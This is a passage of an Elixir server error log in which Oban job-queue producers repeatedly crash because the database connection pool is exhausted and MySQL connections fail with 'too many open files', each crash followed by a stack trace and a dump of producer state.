    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:50:06.240156Z], limit: 3, uuid: "1bd5338c-d478-465f-8835-ae03b9d3ede4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:06.240162Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224986>, refresh_timer: #Reference<0.2525715032.1099431938.69852>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:50:06.240698Z], limit: 50, uuid: "1b028350-7a59-42f3-ac17-c6fb62bcddd1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:06.240704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69876>, refresh_timer: #Reference<0.2525715032.1099431938.69871>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:50:06.240595Z], limit: 10, uuid: "5bc4195f-7be7-46ab-881d-fda7aa9bb0c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:06.240601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224985>, refresh_timer: #Reference<0.2525715032.1099431938.69868>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:50:06.238147Z], limit: 5, uuid: "a8724bb1-3dca-462c-9d6f-c57ebd085532", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:06.238156Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69877>, refresh_timer: #Reference<0.2525715032.1068498948.82051>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:50:06.241352Z], limit: 20, uuid: "d1a76cd7-73e7-4693-beab-afd91f66da85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:06.241358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69875>, refresh_timer: #Reference<0.2525715032.1099431938.69874>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:21.506000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:22.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:25.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:25.998000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:50:18.239834Z], limit: 20, uuid: "f5eedd99-335f-4955-b390-16dc27ccfc27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:18.239839Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225303>, refresh_timer: #Reference<0.2525715032.1077673987.57545>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:50:18.239149Z], limit: 3, uuid: "db65b319-d5f7-46eb-906f-91ac35d8455e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:18.239157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225302>, refresh_timer: #Reference<0.2525715032.1121189889.225287>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:50:18.239310Z], limit: 50, uuid: "9f44288e-33e8-45d5-8471-5189ebcb1664", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:18.239316Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225301>, refresh_timer: #Reference<0.2525715032.1121189889.225291>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:50:18.238443Z], limit: 5, uuid: "fd1d0c07-b946-43e9-906c-fcf03ea20850", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:18.238452Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.225305>, refresh_timer: #Reference<0.2525715032.1068498948.82230>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
